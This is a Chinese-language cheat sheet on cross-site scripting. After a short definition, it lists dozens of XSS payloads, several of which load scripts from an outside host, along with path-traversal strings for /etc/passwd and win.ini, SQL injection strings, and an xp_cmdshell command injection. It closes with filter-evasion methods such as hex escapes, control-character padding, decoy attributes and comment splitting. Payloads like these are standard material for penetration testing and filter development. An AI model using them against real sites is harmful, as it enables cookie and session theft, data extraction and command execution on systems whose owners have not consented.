一、XSS简介
跨站点脚本(Cross-site scripting,通常简称为XSS或跨站脚本或跨站脚本攻击)是一种站点应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java, VBScript, ActiveX, Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
二、XSS基本语句
<script>alert(document.cookie)</script> ='><script>alert(document.cookie)</script> <script>alert(document.cookie)</script> <script>alert(vulnerable)</script> %3Cscript%3Ealert('XSS')%3C/script%3E <script>alert('XSS')</script> <img src="javascript:alert('XSS')"> %0a%0a<script>alert(\"Vulnerable\")</script>.jsp %22%3cscript%3ealert(%22xss%22)%3c/script%3e %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini %3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e %3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e %3cscript%3ealert(%22xss%22)%3c/script%3e/index.html %3f.jsp %3f.jsp <script>alert('Vulnerable');</script> <script>alert('Vulnerable')</script> ?sql_debug=1 a%5c.aspx a.jsp/<script>alert('Vulnerable')</script> a/ a?<script>alert('Vulnerable')</script> "><script>alert('Vulnerable')</script> ';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&& %22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E %3Cscript%3Ealert(document. domain);%3C/script%3E& %3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID= 1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname= ../../../../../../../../etc/passwd ..\..\..\..\..\..\..\..\windows\system.ini \..\..\..\..\..\..\..\..\windows\system.ini '';!--"<XSS>=&{()} <IMG SRC="javascript:alert('XSS');"> <IMG SRC=javascript:alert('XSS')> <IMG SRC=JaVaScRiPt:alert('XSS')> <IMG SRC=JaVaScRiPt:alert("XSS")> <IMG SRC=javascript:alert('XSS')> <IMG SRC=javascript:alert('XSS')> <IMG SRC=javascript:alert('XSS')> <IMG SRC="jav ascript:alert('XSS');"> <IMG SRC="jav ascript:alert('XSS');"> <IMG SRC="jav ascript:alert('XSS');"> "<IMG SRC=java\0script:alert(\"XSS\")>";' > out <IMG SRC=" javascript:alert('XSS');"> <SCRIPT>a=/XSS/alert(a.source)</SCRIPT> <BODY BACKGROUND="javascript:alert('XSS')"> <BODY ONLOAD=alert('XSS')> <IMG DYNSRC="javascript:alert('XSS')"> <IMG LOWSRC="javascript:alert('XSS')"> <BGSOUND SRC="javascript:alert('XSS');"> <br size="&{alert('XSS')}"> <LAYER SRC="http://xss.ha.ckers.org/a.js"></layer> <LINK REL="stylesheet" HREF="javascript:alert('XSS');"> <IMG SRC='vbscript:msgbox("XSS")'> <IMG SRC="mocha:[code]"> <IMG SRC="livescript:[code]"> <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> <IFRAME SRC=javascript:alert('XSS')></IFRAME> <FRAMESET><FRAME SRC=javascript:alert('XSS')></FRAME></FRAMESET> <TABLE BACKGROUND="javascript:alert('XSS')"> <DIV STYLE="background-image: url(javascript:alert('XSS'))"> <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');"> <DIV STYLE=" expression(alert('XSS'));"> <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> <IMG STYLE='xss:expre\ssion(alert("XSS"))'> <STYLE TYPE="text/javascript">alert('XSS');</STYLE> <STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A> <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> <BASE HREF="javascript:alert('XSS');//"> getURL("javascript:alert('XSS')") a="get";b="URL";c="javascript:";d="alert('XSS');";eval(a+b+c+d); <XML SRC="javascript:alert('XSS');"> "> <BODY ONLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><" <SCRIPT SRC="http://xss.ha.ckers.org/xss.jpg"></SCRIPT> <IMG SRC="javascript:alert('XSS')" <!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></SCRIPT>'"--> <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> <SCRIPT a=">" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT> <SCRIPT =">" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT> <SCRIPT a=">" '' SRC="http://xss.ha.ckers.org/a.js"></SCRIPT> <SCRIPT "a='>'" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT> <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://xss.ha.ckers.org/a.js"></SCRIPT> <A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A> admin'-- ' or 0=0 -- " or 0=0 -- or 0=0 -- ' or 0=0 # " or 0=0 # or 0=0 # ' or 'x'='x " or "x"="x ') or ('x'='x ' or 1=1-- " or 1=1-- or 1=1-- ' or a=a-- " or "a"="a ') or ('a'='a ") or ("a"="a hi" or "a"="a hi" or 1=1 -- hi' or 1=1 -- hi' or 'a'='a hi') or ('a'='a hi") or ("a"="a
三、XSS绕过过滤
1、转义字符
斜杠在JAVASCRIPT有着特殊的用途,它是转义的符号。
例如:<script>alert('test');</script>的十六进制转移字符串为
/x3C/x73/x63/x72/x69/x70/x74/x3E/x61/x6C/x65/x72/x74/x28/x27/x74/x65/x73/x74/x27/x29/x3B/x3C/x2F/x73/x63/x72/x69/x70/x74/x3E
因为前面的斜杠缘故,所以后面的这些字符在JAVASCRIPT中都会被还原。
这个方法对于八进制同样奏效。
2、字符转义(先写上,暂时还没成功)
\u003c和\u003e来代替<和>
例如:
[0xc0]\u003cscript[0xc0]\u003ealert('hello')\[0xc0]u003c/script[0xc0]\u003e
3、用控制字符的ASCII码填充
比如<IMG SRC=";JavaScript:alert('XSS');">,如果你熟悉ASCII码,你应该 知道系统控制字符一共是33个,这里去掉一个头�(null)和一个尾(del),其他31个字符 均可以顺利插入代码头部,对过滤系统进行混淆,并且不影响原代码执行,而且你依然可以用"代码插入 方式"中的"方案7"进行编码的任意转换。七种tab符	、换行符
、回车符
可以插到代码任何地方。
4、插入混淆属性
当我们进行一般的文字录入时会发现,并不是所有带"JavaSceipt"这样的字符都会被过滤掉。而是只有在html标签内的特殊字符会被滤掉,这使得我们有了令一套绕过措施,在插入代码的属性前面插 入另一混淆属性,并在该属性中插入让过滤系统误以为是标签结束符的字符,从而让过滤系统认为执行代码在html标签的外面。比如:
<img src="abc>" onmouseover="[code]"> //插入混淆的src属 性 <IMG """><SCRIPT>[code]</SCRIPT>"> //插入混 淆的双引号及 “>”符号 <SCRIPT a=">" SRC="xss.js"></SCRIPT> //插入混淆的a 属性
5、用注释符分割
由于浏览器会忽略掉每种代码的注释符,因此如果我们在代码中的注释符就可以成功地欺骗过滤 系统并且不影响XSS代码的正常运行。比如:
<img style="xss:expr/*XSS*/ession([code])"> //css的注释符号 为/**/,其中的内容会被忽略 <style>@im\port'\ja\vasc\ript:alert("XSS")';</style> //css中忽略的符号还有“\” exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression (alert("XSS"))'> //注释混淆后的样子 <style><!--</style><script>[code]//-- ></script> //html的注释符为<!--注释-->
四、突破XSS字符数量限制执行任意JS代码
http://www.heibai.net/articles/technical/bianchengxiangguan/2009/0903/681.html
五、利用窗口引用漏洞和XSS漏洞实现浏览器劫持
http://www.myhack58.com/Article/html/3/7/2009/23165.htm
先这么多吧,以后遇到了再更新。
参考:
【1】http://zh.wikipedia.org/wiki/%E8%B7%A8%E7%B6%B2%E7%AB%99%E6%8C%87%E4%BB%A4%E7%A2%BC
【2】http://www.hackbase.com/tech/2009-08-24/55258.html
【3】http://www.beidaqingniao.org/edu/c/gongfang/1107.html
【4】http://security.zdnet.com.cn/security_zone/2011/0808/2051328.shtml?text1=a&submit=%CC%E1%BD%BB%B2%E9%D1%AF%C4%DA%C8%DD
【5】http://www.hackbase.com/tech/2012-10-19/66888.html
【6】http://chaoyueziwo21.blogbus.com/logs/20491494.html
【7】http://www.heibai.net/articles/technical/bianchengxiangguan/2009/0903/681.html